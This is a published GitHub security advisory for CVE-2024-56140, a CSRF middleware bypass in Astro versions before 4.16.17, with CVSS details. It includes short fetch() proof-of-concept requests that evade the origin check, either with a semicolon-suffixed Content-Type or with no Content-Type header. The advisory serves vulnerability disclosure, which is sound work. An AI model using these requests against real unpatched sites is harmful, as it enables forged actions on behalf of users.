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Atro CSRF Middleware Bypass (security.checkOrigin)

Moderate severity GitHub Reviewed Published Dec 18, 2024 in withastro/astro • Updated Dec 18, 2024

Package

npm astro (npm)

Affected versions

< 4.16.17

Patched versions

4.16.17

Description

Summary

A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.

Details

When the security.checkOrigin configuration option is set to true, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)

For example, with the following Astro configuration:

// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
	output: 'server',
	security: { checkOrigin: true },
	adapter: node({ mode: 'standalone' }),
});

A request like the following would be blocked if made from a different origin:

// fetch API or <form action="https://test.example.com/" method="POST">
fetch('https://test.example.com/', {
	method: 'POST',
	credentials: 'include',
	body: 'a=b',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
});
// => Cross-site POST form submissions are forbidden

However, a vulnerability exists that can bypass this security.

Pattern 1: Requests with a semicolon after the Content-Type

A semicolon-delimited parameter is allowed after the type in Content-Type.

Web browsers will treat a Content-Type such as application/x-www-form-urlencoded; abc as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.

fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: 'test',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' },
});
// => Server-side functions are executed (Response Code 200).

Pattern 2: Request without Content-Type header

The Content-Type header is not required for a request. The following examples are sent without a Content-Type header, resulting in CSRF.

// Pattern 2.1 Request without body
fetch('http://test.example.com', { method: 'POST', credentials: 'include' });

// Pattern 2.2 Blob object without type
fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: new Blob(['a=b'], {}),
});

Impact

Bypass CSRF protection implemented with CSRF middleware.

Note

Even with credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.

References

@ematipico ematipico published to withastro/astro Dec 18, 2024
Published to the GitHub Advisory Database Dec 18, 2024
Reviewed Dec 18, 2024
Published by the National Vulnerability Database Dec 18, 2024
Last updated Dec 18, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-56140

GHSA ID

GHSA-c4pw-33h3-35xw

Source code

Credits

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